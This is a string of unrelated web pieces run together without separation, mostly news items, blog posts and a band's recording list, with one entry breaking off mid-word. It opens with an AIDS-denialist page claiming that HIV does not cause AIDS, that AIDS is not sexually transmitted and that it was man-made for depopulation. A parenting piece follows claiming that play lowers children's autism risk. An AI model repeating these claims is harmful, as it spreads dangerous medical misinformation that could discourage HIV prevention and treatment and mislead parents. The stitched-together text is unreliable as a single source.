AIDS = Acquired Immune Deficiency Syndrome with the emphasis on ACQUIRED. You don’t acquire contagious diseases – you catch them. It is illogical to claim – as they do – that IF you are HIV positive you died of AIDS but if the exact same symptoms kill you that you died of whatever they USED TO call the disease that causes those same symptoms.
That is an obvious manipulation of statistics to create an epidemic out of thin air to scare people into taking dangerous immune suppressing drugs – and eventually – new AIDS vaccinations.
IS AIDS SEXUALLY TRANSMISSIBLE?
Logically, if AIDS were really a communicable disease that was sexually transmitted, given the typical number of sexual partners most adults have had – thanks to the “sexual revolution” – all of us would know heterosexual people who had died. DO YOU?
So why don’t more HIV positive sex partners get AIDS?
Do ALL Scientists Believe HIV is the Cause of AIDS?
In a word: no. Hundreds of scientists have publicly refuted the theory that HIV causes AIDS:
“The Group for the Scientific Reappraisal of the HIV-AIDS Hypothesis came into existence as a group of signatories of an open letter to the scientific community. The letter (dated June 6, 1991) has been submitted to the editors of Nature, Science, The Lancet and The New England Journal of Medicine. All have refused to publish it. In 1995 The Group was able to get a letter published in Science. To the editor: It is widely believed by the general public that a retrovirus called HIV causes the group diseases called AIDS. Many biochemical scientists now question this hypothesis. We propose that a thorough reappraisal of the existing evidence for and against this hypothesis be conducted by a suitable independent group. We further propose that critical epidemiological studies be devised and undertaken. “
HIV = AIDS – Fact Or Fraud?
This documentary presents arguments based on the allegation that the HIV / AIDS Hypothesis is False:
AIDS DISSIDENTS
Leading AIDS Dissident: David Crowe Speaks Out in this video. (This is part 1.) Crowe discusses AIDS testing false positives and false negatives. See also AIDS DISSIDENTS (part 2) and AIDS DISSIDENT DAVID CROWE (part 3).
The video below includes government documents requesting $10 billion dollars to develop bio-weapons to target specific populations.
“AIDS was deliberately created for for the depopulation of humanity – created at Fort Dietrick through US Bioweapons development.” Courtesy: Dr Leonard Horovitz [in the interests of extending Human Educational knowledge].”
AIDS Conspiracy Videos
AIDS QUOTES
Alberta Reappraising AIDS Society: AIDS Quotes
AIDS HOAX POSTS
Natural News: Are AIDS / HIV tests a hoax? Documentary footage features conversations with Drs. Niel Constantine and Robin Weiss
Harmonik Ireland: The Great “HIV” Hoax
AIDS BOOKS
Centre for Social Science Research: Book Launch: The AIDS Conspiracy Book (New May 2012)
INDEPENDENT AIDS STUDIES
EPIDEMIOLOGICAL EVIDENCE AGAINST HETEROSEXUAL TRANSMISSION OF HIV AND AGAINST PREVENTION-CAMPAIGNS By Christian Fiala 25 June 2000
Do You Know of Studies, Documentation, or AIDS Books or Videos we should add here?
What do YOU Think? Does HIV Cause AIDS? Is HIV man-made?
Tell us in the comments! Whatever you believe we want to hear from you!India's neglected holy cows are producing toxic and contaminated milk because they eat garbage while wandering the streets unsupervised, according to lawyers for one of India's top milk-producing states.
The claim was made in India's Supreme Court where judges ordered all of India's states to impose life imprisonment sentences for those convicted of contaminating milk.
Milk has a revered place in Indian spiritual life, which is one of the reasons cows are regarded as sacred.
But despite being worshipped, many cattle owners allow their cows to wander throughout India's roads and cities where they graze on rubbish dumps and eat plastic bags and other waste products.
When they return to their dairies their milk is adulterated with paint, detergents, caustic soda, urea and shampoo, the court heard.
"Cows have started eating plastic and paper besides grass and green leaves when they are sent to graze," one lawyer said.
Justice K.S Radhakrishnan said he was so concerned about the scale of adulteration that he had not taken milk in his coffee for two years.
Lawyers for the Uttar Pradesh government, where dairies are prized for their creamy milk, revealed that in tests carried out in 2012-2013 more than a quarter of 4,500 samples were found to contain detergent, starch and artificial whitener. In more recent tests after August last year more than one third of 613 samples were contaminated.
They found the scale of contaminated increased significantly in the weeks before festivals when people give milk-based Indian sweets as gifts.
Offenders are liable to a maximum of six months imprisonment but can pay a 1,000 Rupee (£10) fine instead.
Another judge, Justice Vikramjit Singh said the law's teeth had fallen out "after drinking adulterated milk". The court said offenders should be given life sentences and state governments should improve monitoring with random checks.Story highlights Dempsey is usually not political
This comes as Trump has publicly derided US intelligence agencies
Washington (CNN) The former chairman of the Joint Chiefs took to Twitter Thursday night to praise the work done by the US intelligence community, a message that could be viewed as a pushback against President-elect Donald Trump, who has criticized agencies' findings regarding Russia and 2016 election.
"Intelligence is hard, thankless work. Fortunately, we have dedicated, patriotic, and courageous men and women on the job. Thanks," retired Gen. Martin Dempsey tweeted.
Intelligence is hard, thankless work. Fortunately, we have dedicated, patriotic, and courageous men and women on the job. Thanks. — GEN(R) Marty Dempsey (@Martin_Dempsey) January 6, 2017
Dempsey has been mum about Trump -- as well as anything else involving the US intelligence community and politics. In July, he made a rare political statement when he wrote an open letter to generals -- specifically retired Marine Gen. John Allen and retired Army Lt. Gen. Mike Flynn -- for being involved at political conventions.
"The military is not a political prize," he wrote in the letter. "Politicians should take the advice of senior military leaders but keep them off the stage."
Read MoreStory highlights Jill Stein called out Donald Trump for lawsuits from his supporters to halt recounts
Stein criticized Donald Trump, Al Gore and Hillary Clinton on environmental issues
(CNN) Amid her battle with Donald Trump for recounts in three states, 2016 Green Party presidential nominee Jill Stein called on former Vice President Al Gore to "step up" in the fight against climate change after his unexpected meeting with the President-elect at Trump Tower on Monday.
Gore, who previously warned that a President Trump could lead to a "climate catastrophe" said his conversation with the President-elect was "sincere" and "productive."
Reacting to Gore's comments today on "CNN's Erin Burnett Outfront," Stein said that "I find it strange, I'm not sure I believe it, I don't know what's going on." Stein singled out Trump's support for coal and the controversial Dakota Access Pipeline, saying "I think you have to judge Donald Trump by his record, which is very clear, which is rather disastrous."
But Stein did not limit her criticism to Republicans, criticizing Democrats as well, pointing to Hillary Clinton's support for fracking. She added "I'd like to see Al Gore, for that matter, step up to what we really require, which is 100% renewable energy, clean renewable energy by 2030."
Stein also called out Trump for lawsuits from his campaign or supporters to halt recounts in Michigan, Pennsylvania and Wisconsin. Stein said it is clear the Trump campaign is scared, and she doesn't know why "because they're doing everything they can to stop transparency and accountability. You would think that they would be confident in their victory."
Read MoreIt’s an unsettling statistic: more and more kids are showing symptoms of Autism Spectrum Disorder, with no concrete cause in sight. Autism is a mental condition that leads to difficulty in communicating, building relationships and using language. It is a condition with no cure yet and is something that doesn’t necessarily get better with time. Lately, there has been a dramatic increase in the number of cases of autism, resulting in immense anxiety for parents and leaving them worried that their child could be at risk…
Some children show signs of autism in their very early years. But some may not exhibit any symptoms till quite late in their childhood. From organic diets during pregnancy to moving to cleaner environments till birth, parents are going for extreme measures in their pursuit for a healthy baby. However, none of these methods have been proven to negate the risk of autism. Your baby could be at high risk, despite precautions, if the following hold true for you:
The older child has been diagnosed with autism
The parents are older than 40 years of age
There is a wide age gap between the parents
What’s even more distressing is that autism can be confirmed only after 3 years of age. Which means your doctor cannot make a definite diagnosis before that, and you will not know whether your little one could be susceptible to this risk before a diagnosis is made! However, there IS some good news, thanks to extensive research in the field of cognitive and social development in children:
There are some simple steps that can be taken at home to help lower, if not eliminate, autism risk in children. These steps also help with children who have already been diagnosed with autism at an earlier stage. And all these steps have one simple activity central to them: Quality Time.
Quality time is essential for every child, regardless of whether they are at risk for autism or not. However, infants susceptible to autism require additional quality time with closer attention on their needs and gestures – or lack thereof. This time lets parents recognise warning signals through minute signs that might not be common, such as making strange sounds or fidgeting. It is also this special quality time and close attention that encourages kids to engage and interact, thus lowering their risk of cognitive and social impairment. Experts who have been working in this field confirm that following these steps in the developmental years will help normalise your kids’ life as an adult.
A great way of spending quality time with your little one is through the following types of play. Not only do these play ideas help in overall cognitive and social development, they also help in encouraging motor skills, sensory skills, speech and language, focus and attention, and thinking and problem-solving.
Essential Play Activities To Lower Your Child’s Risk of Autism
1. Sensory play
In the beginning, kids explore objects and toys rather than play with them. They stare at them, pick them up, feel them, taste, sniff them or rattle them to see if they make noise. They enjoy toys with their senses. However, their fascination with the senses is not just limited to toys – they will do the same thing with food, or whatever object comes into their hands. Thus, sensory motor play is important for your child as it helps him to learn about taking turns, explore his senses, and pay attention. Additionally, sensory toys help children process sensory information. All of these benefits help in decreasing the risk of autism. Toys like balls of different textures, blocks, bubbles, play dough, crayons, bath toys, rattles, squeaky toys, etc. are ideal for this.
2. Constructive play
At this stage, children build or make things. For example, they will complete a jigsaw puzzle, make a Lego design, or draw a picture. Usually, children with Asperger’s syndrome or high- functioning autism might excel at these skills, whereas other children with ASD might struggle in this area of play. Encourage your child by showing what to do. You could show him a picture of the Lego design or how to complete a jigsaw puzzle.
3. Cause and effect play
Children like to play with toys that need an action to produce a result. For example, pressing a button will make the toy dog bark or the drummer start playing the drums. This will help your child understand cause and effect. It will also teach your child that his actions have effects and will give him a sense of control. He gets encouraged to explore the different functions of the toy. Thus, this play ideas engages him and ultimately reduces his susceptibility to autism. If your child isn’t interested initially, you might have to show your child how to operate the toys. Musical toys are the best example of cause and effect play where pressing a button will make a sound on say, a toy electric guitar.
4. Pretend play
At this stage, children learn to pretend and use their imagination during play. Encouraging pretend play is important for developing the skills required for language, communication and social interactions. Encourage them to participate in pretend play before they turn two and do so by participating in it yourself. For example, while narrating a jungle story, you can get down on the floor on all fours and pretend to be an animal or modulate your voice and gestures accordingly. Gradually, you can change the theme and characters and ask your child to pretend to be a character of his choice. You can even use props to help his imagination. Your child might hesitate at first. Encourage him by taking the lead and slowly drawing him into it. This kind of role playing reduces autism risks by guiding your child towards independent, creative, make believe play. ||
5. Physical play
All children enjoy physical activities like rocking, bouncing, and rough and tumble play, and while outdoors, they enjoy swinging, sliding, or climbing. As per your child’s interest, encourage him to indulge in physical play as it is great for all kids at any age.
6. Social play
While most children start enjoying social plays at a very young age, it can be very challenging at times for children susceptible to autism spectrum disorder. Initially, your child may enjoy solitary play or playing alone with his toys and games. Don’t worry much about it. The phase shall soon pass. However, try to draw him into play with others from time to time. Indulge your child in social plays like peek-a-boo, round and round the garden or pat-a-cake and see his reaction. If he enjoys, you may slowly encourage him to progress to the next level. Arrange play dates with children of friends and family and encourage him to play with other kids or just let him observe other kids playing together. Ask him to share his blocks, crayons, etc. with other children, if he doesn’t take initiative. This will promote interaction with other children like giving, taking and sharing.
How to Encourage Your Child With Autism to Play
Despite your best precautions and efforts, it is possible that your child could still be diagnosed with ASD, especially if you ticked the risk factors at the top. However, please remember that this in no way means your child is “disabled” in any way; he has the strength and ability to reach all his developmental milestones, and will only need extra guidance and understanding from your end. The play ideas above can come to your aid here too; children with autism spectrum disorder are no different when it comes to enjoying toys and games!
However, they may play differently from other kids or use unusual objects to play with. For example, your child might like to watch the toy train chug on its track again and again or might build an elaborate Lego design only to repeat it in the same order every time. Also, while playing with other kids, he might find it difficult to understand instructions, copy simple actions, share things or respond to others. Here are a few tips on how you can encourage your child with autism spectrum disorder to play and learn:
Give your child a change of scene from time to time. Playing in different places and with different people will help him develop his social interaction skills.
Always offer two or three toys to your child to play. This is a good number of choices for your child without being overwhelmed.
Wherever possible, join in the play with your child rather than only guiding him to play. You can start by imitating what your child is doing, then build on to the activity. For example, if your child is clapping, clap with him, if he is making gestures like an animal, you also do the same.
While pretend playing, if your child doesn’t copy you, you can guide him to play. For example, while you are acting like an animal, tell him, ‘Now it’s your turn to become an animal. Which animal you want to be: horse, elephant or lion?’
Keep a close watch on your child while he is playing to catch the signs of boredom, tiredness or irritation before it blows up into a tantrum. Stop the play if necessary.
During play dates, instruct other children to go slow with your child or not indulge in difficult games.
Always reward and praise your child for a good job done. You may also reward him with extra playtime with his favourite toy. Don’t forget to tell him what he is being praised or rewarded for.
Don’t wait for the perfect time or opportunity to play with your child. Use anytime or opportunity you get over the day to play with your child. For example, you can play with your child while you are giving a bath to him.
Gradually, as your child’s play skills develop, you can introduce various forms of play to tackle situations that he finds challenging. For example, most children with autism spectrum disorder find it difficult to understand social rules like give-take, sharing, turn-taking, compromise and negotiation. You could build social games particularly to address those difficulties of your child.
Our children are delicate little humans and we want to hide them from any harm forever. While we have little control on destiny and how things eventually turn out, it is in our kids’ best interest that we spend as much quality time with them as possible. This is really the best healing and protection we can extend to our children.Did Koskinen Actively Mislead Congress?
Ace researcher (I mean he's an ace at research, not that he's a researcher for Ace) Morgan Richmond notes this interesting tension between two statements made by IRS Commissioner John Koskinen. (Most of this post is actually Richmond's analysis and writing; I've edited it a little, and added stuff near the end.)
Last week, Koskinen testified that it was "my decision" to withhold this information from Congress in February when IRS discovered that Lerner's emails from 2009-2011 were missing due to crash. he says that at 1:30 here.
He says he didn't want to tell Congress something that would cause Congress to "leap to conclusions" about the missing emails.
Now, per his recent testimony, he says he knew that the emails were lost (or possibly lost) due to a crash. He further says it was his decision to not tell Congress about this.
But compare this to his testimony to Congress on March 26. Representative Trey Gowdy asked him specifically about emails from 2010 and why they couldn't be retrieved more quickly:
Note that the reason Koskinen offers for the impossibility of delivering this information by the end of the week was that he had to screen the emails for "6103 material." (I guess that's possibly confidential material that would have to be redacted.)
However, at this point, Koskinen knows that the main reason the emails can't be delivered is that her computer "crashed" and that the emails can't be recovered.
There is a difference between merely failing to inform someone of a fact and deliberately misleading them with a false statement.
Koskinen's claim that he can't deliver emails due to the need to redact "6103 material" seems to be the latter. He's not merely failing to inform Trey Gowdy of the truth; he's actively offering statements which are false to avoid offering that truth.
Let me add something: Koskinen has donated over $100,000 to Democrats and Democratic causes since 1979.
Yes, that's over 40 years; but that is still and awful lot of money to donate to politics for anyone who's not a multimillionaire.
Nothing illegal about that -- but it does show he is an intense partisan.BERLIN, Germany (CNN) -- Heidi Krieger proved herself one of the world's top athletes in the 1980s, winning medal after medal in the shot put for East Germany.
Andreas Krieger says his body changed soon after he began taking what coaches said were vitamins.
Now, the former sports star looks disdainfully at the awards, dismissing them as "doping medals" and honors that turned a woman into a man.
Heidi Krieger, the 1986 European women's shot-put champion, became Andreas Krieger after a sex-change operation in 1997. He says he had been fed so many steroids by his coaches without his knowledge that physical and emotional problems began.
The young woman's physique changed drastically, as did her feelings. "I felt much more attracted to women and just felt like a man. But I knew I was not lesbian," Krieger told CNN.
Her coaches said they were giving her vitamin pills, but they were actually feeding her Oral-Turinabol anabolic steroids. Watch how Krieger's body changed »
Krieger is among an estimated 10,000 East German athletes thought to have been given performance-enhancing drugs to help build their country into a sports powerhouse.
In the 1970s and 1980s, the German Democratic Republic was one of the most successful Olympic Games nations. But after the fall of Soviet Communism, it was revealed just how much steroids were fueling the medal machine. Sports leaders, including Manfred Ewald, the head of East Germany's National Olympic Committee from 1973 until 1990, were convicted in the doping programs.
Krieger, who is now married and runs an army surplus store, says he has taken his life into his own hands and does not want to be seen as a victim.
But he and other former East German athletes tricked by their coaches are worried that too little has been learned from their plight.
Doping remains a major issue in sports, and many drug tests will be conducted in Beijing, China, as officials try to catch any cheats hoping to go undetected and get Olympic glory.
Experts say the next step for sportsmen and women looking for an illegal boost to physical performance could be gene therapy -- so-called "gene doping."
Sports physician Willi Heepe said gene therapy means the body will basically dope itself.
If that happens, "the human monster will be a reality," he told CNN.
Krieger is worried that the pressure to win could create new victims.
"If today's athletes say they want to take the risk, they really don't know what risk they are taking," he said.
All About Drugs in Sports • Summer Olympics • Gene TherapyAttorney: No wrongdoing by UNC's Coples
CHAPEL HILL, N.C. (AP) An attorney for North Carolina's Quinton Coples says the NCAA found no wrongdoing by the defensive lineman, who attended NFL draft parties with ex-teammates accused of rules violations.
Former state Supreme Court justice Robert F. Orr says the NCAA notified him in a phone call Monday that its review was closed. The NCAA had spoken with Coples in May after photos surfaced of him with former Tar Heels Marvin Austin and Robert Quinn at a party in Washington, D.C.
Austin was kicked off the team and the NCAA ruled Quinn permanently ineligible during the probe into improper benefits and academic misconduct.
Orr said Tuesday the NCAA never alleged Coples broke any rules.
Coples was third in the Atlantic Coast Conference with 10 sacks last season.
Copyright 2011 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.
Brent Jones. For publication consideration in the newspaper, send comments to For more information about reprints & permissions, visit our FAQ's. To report corrections and clarifications, contact Standards Editor. For publication consideration in the newspaper, send comments to letters@usatoday.com. Include name, phone number, city and state for verification. To view our corrections, go to corrections.usatoday.comLiberal constitutional scholar Jonathan Turley laid to rest many of the claims Tuesday from the media and politicos of illegality and collusion surrounding Donald Trump Jr.’s meeting with a “Kremlin-connected” lawyer.
Turley, a legal scholar at George Washington University, batted away claims of criminality, asking “does any of this constitute a clear crime or even a vague inkblot image of a crime?” His answer: no, not on the facts.
Richard Painter, a former ethics lawyer in President George W. Bush’s administration, said on MSNBC Sunday that the meeting “borders on treason.” Turley notes the specificity of Article III of the Constitution’s delineation of what exactly constitutes treason — “levying war against [the United States], and “providing aid and comfort to the enemy.” Aside from the fact that the details discussed at the meeting — if any at all —regarding former Secretary of State Hillary Clinton are unknown, the encounter does not amount to treason. (RELATED: FACT CHECK: Did Donald Trump Jr. Commit Treason?)
Politico reported Norm Eisen, a former White House ethics attorney, claimed that Donald Trump Jr. violated the Logan Act, a law Turley notes “has never been used to convict a single U.S. citizen and is widely viewed as facially unconstitutional.”
The Independent raised the question of a Donald Trump Jr. “conspiracy” to “defraud the United States.” No evidence is offered says Turley, and no further actions are known to have occurred. There has never been a case under the law cited that “even remotely resembles such a distortive claim.”
MSNBC’s justice analyst Matthew Miller sees a violation of federal law banning foreign contributions to federal campaigns — barring direct or indirect payments or other things of value from a foreign national — saying that “it doesn’t have to be money … it can be, potentially, accepting information.” Miller’s suggestion creates a profound legal quandary, meaning that sharing information “even possible criminal conduct by a leading political figure — would be treated the same as accepting cash,” constituting a violation of the 1st Amendment safeguards of free speech, press and freedom of association.
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Content created by The Daily Caller News Foundation is available without charge to any eligible news publisher that can provide a large audience. For licensing opportunities of our original content, please contact licensing@dailycallernewsfoundation.org.Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.
Dec. 8, 2016, 5:34 PM GMT / Updated Dec. 12, 2016, 12:21 AM GMT By Chelsea Bailey and Associated Press
The world's giraffe population is in sharp decline and could be facing a "silent extinction," according to wildlife conservationists.
The International Union for Conservation of Nature (IUCN) now lists giraffe's as "vulnerable" and has called for immediate action to reverse the decline of the population. That's two steps up the danger ladder from its previous designation of being a species of least concern.
Maasai Giraffe in a spectacular dawn Masai Mara National Reserve Kenya. Images of Africa Photobank / Alamy
Nearly 40 percent of the world's giraffe population has declined in the last three decades, IUCN said Thursday, fueled by habitat loss and illegal hunting. In 1985, there were between 151,000 and 163,000 giraffes, but in 2015 the number was down to 97,562, according to the IUCN.
At a biodiversity meeting Wednesday in Mexico, the organization increased the threat level for 35 species and lowered the threat level for seven species on its "Red List" of threatened species, considered by scientists the official list of what animals and plants are in danger of disappearing.
The giraffe is the only mammal whose status changed on the list this year.
While everyone worries about elephants, Earth has four times as many pachyderms as giraffes, said Julian Fennessy and Noelle Kumpel, co-chairs of the specialty group of biologists that put the giraffe on the IUCN Red List. They both called what's happening to giraffes a "silent extinction."
"As one of the world's most iconic animals, it is timely that we stick our neck out for the giraffe before it's too late," said Julian Fennessey, co-director of the Giraffe Conservation Foundation.
Despite worldwide affection for giraffes, relatively little research has been conducted into conservation of the species, the group said. Giraffes are native to the African savanna and are most commonly found in southern and eastern Africa. An adult giraffe can grow up to 19 feet and weigh more than 2,000 pounds, according to National Geographic.From RationalWiki
Takedownman is a YouTuber who pretends to be an expert hacker and "pedophile hunter" and produces videos about the secrets of the Deep Web, aka the Dark Web. To be fair, even respectable journalists can get taken in by stories of human trafficking.[1]
He uses trappings of an investigative journalist style, often warning his viewer at length about the disturbing sites and images they are about to witness. He then proceeds to narrate over a series of screenshots of Tor hidden services about esoteric material.
However, he has been ridiculed[citation needed] by many genuine hackers who claim he has an extremely poor understanding of hacking and the Dark Web, making such basic mistakes as getting infected with viruses by friends and thinking computers can get "Worm Holes".[citation needed] Furthermore, his claim that he has special privileges by the FBI to seek out child pornography (to catch pedophiles) is not consistent with U.S. state or federal law.
In addition to making Youtube videos, Takedownman also campaigns on crowd-funding websites such as Gofundme.com in order to secure payments from his followers to support his "work".
Many are skeptical of Takedownman's grandiose claims about himself, such as his being a CIA agent, an expert in "Chinese healing", and a 'hitman.'[2] In true crank fashion, Takedownman and several Youtube followers have claimed that anyone who doubts his authenticity is a "pedophile".[3]
Background [ edit ]
From about March 2013 Takedownman began producing online content discussing polyg |
that I wept tears of admiration. The restaurant provided a fork and spoon rolled up in a paper napkin. They expect you to break the paper seal and free the utensils from the napkin. But the boy realized he could use the entire sealed unit as a fork-spoon with a napkin surround. He would grab the entire bundle, stab some food with the fork and wipe his mouth on the wrapped bundle. I don’t use the “genius” label too often, but I think it applies in this case, even though he was just kidding around. I believe I witnessed the invention of the napkinforkspoon. And someday, God willing, when efficiency replaces etiquette, we will all be using it.The Alameda County case was brought by John Teixeira, who planned to open a gun shop in the unincorporated neighborhood of San Lorenzo in 2010. The Alameda County Board of Supervisors denied him a permit after finding that his chosen location fell within 500 feet of a residential zone. Backed by a coalition of gun rights groups, Teixeira sued to overturn the ordinance, arguing that the law was so restrictive that there were no locations left within Alameda's unincorporated areas that would allow a gun store. A federal district court threw out his case but was overruled last year by a three-judge panel of the 9th Circuit, which sent the case back down for further proceedings; the full circuit court then took up the case, and on Tuesday upheld the original district court's original dismissal.Hi everyone.
My attorneys have filed an EEOC charge on my behalf against Time Warner over an offensive and discriminatory policy.
Under Time Warner rules, all parents of new children have the option of 10 paid weeks off – except biological fathers.
For more than two months – beginning when my wife and I knew I’d need to be home after our daughter’s birth – I have pushed and pleaded for that policy to change. I brought the issue all the way up to the top of the company. But Time Warner has refused to change the policy.
Under Time Warner rules, I have only two choices: stay out for 10 weeks without pay, or return to work and hire someone to come to our home each day. Neither is financially tenable, and the fact that only biological dads face this choice at this point in a newborn’s life is ludicrous.
Time Warner has two policies that create this discriminatory result. The first: Women who give birth get 10 weeks off, paid. The second: Women or men who have babies through adoption or surrogacy have the option of 10 weeks off, paid, to be caregivers to their new children.
But under no circumstances can a biological father get 10 weeks off paid, even if he is needed for caregiving. We get two weeks of paid parental leave.
(If there’s an adoptive couple in which both parents work for Time Warner, they can divvy up the 12 weeks as they wish, with neither taking more than 10.)
With my first two children, I just dealt with this unfair policy. But this time, I can’t sit by and allow this inequality. It’s unfair to my wife and family, and to other dads and their families.
I began this effort in August, praising Time Warner for trying to be inclusive, and suggesting that it had arrived at this unfair policy unintentionally, not realizing that it was making biological dads the only parents excluded from the option of 10 weeks paid.
In asking for this policy to change, I followed protocols, and operated with total confidentiality.
I kept pushing for an answer, and emphasizing that my team at work needed to know how long I would be out so it could plan accordingly. And I kept getting the same response: that no decision had been reached.
Finally, after I pushed yet again, Time Warner rejected my request last week – 11 days after my child was born, while I was already out taking care of her.
My attorneys were shocked.
I brought the issue to our CEO, who kindly said he would look into it. But then Time Warner’s legal department informed us that the policy would not be changed.
To understand how misguided this policy is, think of the following scenarios.
Here’s one an attorney gave me: If I were a woman, but other elements of my situation were the same – I was still with the same woman (so that would be a same-sex relationship), and she gave birth to our child, legally I would have to adopt in order to be co-parent. I would then have the option of 10 weeks off, paid.
Or how about this: If I gave my child up for adoption, and some other guy at Time Warner adopted her, he would get 10 weeks off, paid, to take care of her. I, however, her biological father, can’t.
I have tried repeatedly to get Time Warner to see the light of day on this, but the company refuses.
Make no mistake: The policy is discriminatory. The only question is whether it’s a legal form of discrimination.
Some forms of discrimination are legal. For example, a company could say that all people with names beginning with A through H and J through Z get 10 weeks paid, but not someone whose name begins with I. That would be just as preposterous as what Time Warner is doing. That, however, would be a legal form of discrimination, because people with names beginning with I are not a “protected class.”
I’m fortunate to have fantastic attorneys, in the legal team of Lee Parks. They’ll explain our legal arguments as to why Time Warner should be forced to change this policy.
But this isn’t just about the law. It’s about doing what’s right.
And that’s why I’ve had to go public with this.
Trust me – it’s the last thing I want to be doing right now. Imagine the hectic life of having a third child be born, and then add this hassle and stress. It’s especially unfair to my wife, who, by the way, carried out another one of her amazing, heroic deliveries (though in a hospital, unlike last time!).
But my two weeks of paid leave have run out. I’m now using up several days of my own “PTO,” or paid time off. (At Time Warner, there is no distinction between vacation days and sick days; there’s a general pile of PTO days.) If Time Warner doesn’t change its mind, I will have to go back to work next week, unfairly forced to choose between the two untenable options.
Throughout all this, no one at Time Warner has argued with me on the merits of my request, nor presented any suggestion that there’s anything wrong with what I’m asking for.
The company gave no explanation in rejecting my request last week, saying only that it was “unable” to grant it. That’s obviously false. Time Warner is able to, but chose not to.
The moment it did that, this issue stopped being a possible oversight that the company could have resolved quietly. It became an active, deliberate decision to discriminate.
I’m not giving up without a fight.
My only remaining hope is that after I post this, other people who also believe in fairness and equality will speak up and encourage Time Warner to do the right thing. A legal battle may drag on forever; my daughter and family need me now.
So, in consultation with my attorneys, I’m exercising my First Amendment rights, and speaking out.
In addition to my reporting at CNN, I also write columns and speak on air about my own experiences with and views on issues facing fathers. Sometimes, that has meant calling out corporations for doing things that are unfair to dads. This time around it’s my experience, and the parent company of my employer, front and center.
Of course this isn’t easy. I’m one person, taking on a massive and powerful corporation.
But I don’t want my children to grow up in a world in which people accept discrimination without a fight. As I tweeted (and posted on Facebook) the other day, especially when it isn’t easy, you have to do what you know is right for the world, your family, and yourself.
I look into my daughter’s beautiful new eyes and know where I need to be.
It’s a feeling many other dads know. And it’s heartbreaking to think that I could lose this critical bonding time with her.
This fight will probably be seen as a sign of the times and the battle for fathers’ rights in general. That’s fair and legit. But it’s also more than that. This is about equality and fairness for everyone.
And it’s about the ability of any individual to stand up to an unfair policy by a massive corporation that impacts his or her family.
Nothing fuels you to fight for what’s right like the love you have for your child.
As I say all the time in my talks and on social media, we can do better. We can improve this world. The people who do so are the ones who stand up, ready to break unfair systems and build better ones. (I call it “Be the Cups and Ice.” See my TEDx Talk or a talk I did for young people, “Shine.”)
You just have to summon the courage.
Thanks for taking the time to read this.
Big love,
Josh Levs
requests @ joshlevs.com
p.s. Everyone asking for photos - see some public ones on my Google+ page.
Statement from A. Lee Parks, Senior Partner at Parks, Chesin & Walbert:
“When you’re dealing with Paternity Leave policies, the current thinking is that there needs to be equity between what you give a father and a mother. There can be some disparity, but the disparity here is too great. Giving a mother 10 weeks and a father two weeks is gender-based and violates Title VII.
“The fact that adoptive fathers, or those who have children through surrogacy, get more time doesn’t help the policy – it further erodes the legality of it. It’s evidence that substantiates the irrationality of the policy.”
Statement from Andrew Coffman, Partner at Parks, Chesin & Walbert:
“Many employers may think they are being in-tune with the times by providing enhanced benefits to certain new parents. Here, this translates into providing paid time off to mothers and adoptive parents, but not to biological fathers. Time Warner’s excuse for treating biological fathers differently than mothers is that women experience a period of medical disability associated with child birth. While this sounds reasonable at first blush, the rationale does not square with the 10 weeks given to adoptive parents who require no medical recovery time. Moreover, biological mothers receive the 10 weeks of maternity leave IN ADDITION to their full short-term disability benefits. Biological fathers do not receive a similar allowance for their medical disabilities. Taken as a whole, the benefits extended to men appear to be inferior to those given to women.”
Contact: (404)873-8000 ACoffman@pcwlawfirm.comLive Bootlegs
8th of October, 2013, The Saint, Asbury Park, New Jersey Full field recording of my bucket list gig in Asbury Park, NJ. A really fun night was had and I think the recording shows this. The sound has a wee bit of clipping due to me setting the level wrong, but I think it works despite that. Had RFPB drummer woody guesting on I Want Something, he had flown over for a wee holiday. Setlist: Old Tyme Memry (Erik petersen cover), The sinner and the saints, Mirrors, Luath St Stories, My Mother's House, Backwards We Play, I Want something (Evan Greer cover, with Woody) Zip File (MP3, 192kps)
7th of August, 2013, Cerberus, Dundee A full field recording of one of a gig that a) will go down as one of my favourites, and b) be henceforth known as the "cite your sources night". Quite a long and varied set fuelled by beer, friends and everything working just right. Right from the start, this is the type of gig I've been looking for since I started playing acoustic music. Setlist: I Want Something (Evan Greer cover), The Sinner and the Saints, Luath St Stories, Mirrors [Y], The Replacement [Y], Crutch [Y], As You Are, Living on a Prayer (Poodles McGrew cover), Wild Rover Zip File (MP3, 192kps)
6th of August, 2013, Pivo, Edinburgh Only a partial recording of a solo concert I did in Edinburgh with Mark McCabe and Oxygen Thief. This was a really fun gig, with just the right audience for the type of gig it was. Quite a strange set made up of much more quieter material than normal, and also about 60% requests. Setlist: Luath St Stories, My Mother's House, The Bells, Malaga Airport, The Ghost of Tom Joad (Springsteen), As You Are, Living on a Prayer (Poodles McGrew) Zip File (MP3, 192kps)
24th of July 2013 - 13th Note, Glasgow Full field recording of the HOTTEST gig ever, not in terms of hype or any of that bullshit, pure indoors temperature. Was a really fun gig despite the heat, and really shows how the band is sounding at the moment. Luath St Stories is a new song that'll be on a new Ep, hopefully coming out by the end of the year. Setlist: Tacitus, Paradise, Luath St Stories, Mirrors, The sinners and the Saint, As You Are, Spirit Mahone Zip File (MP3, 192kps)
6th of July 2013 - Nice'n'Sleazys, Glasgow Partial soundboard recording from 06/07/2013 at Nice'n'Sleazys in Glasgow Setlist: Luath St Stories (Partial), The sinner and the saints, Call off the coast-guards, As You Are, Spirit Mahone Zip File (MP3, 192kps
17th February, 2013 - King Tuts, Glasgow Partial field recording of the RFPB. This was the first time we'd ever played Tuts and we were all excited about the prospect. Supporting Jim Lockey and the solemn Sun. Line up for this gig was Me (Electric guitar>, Dan (bass), Woody (drum), Rach (Backing vocals) and Gareth McNicol (Acoustic guitars) Setlist: Tacitus, The Sinner and the Saints, The Replacement, Mirros, Backwards We Play, Paradise [Y], Spirit Mahone [Y] As You Are [Y], No Surrender [Y](Springsteen) Zip File (MP3, 192kps
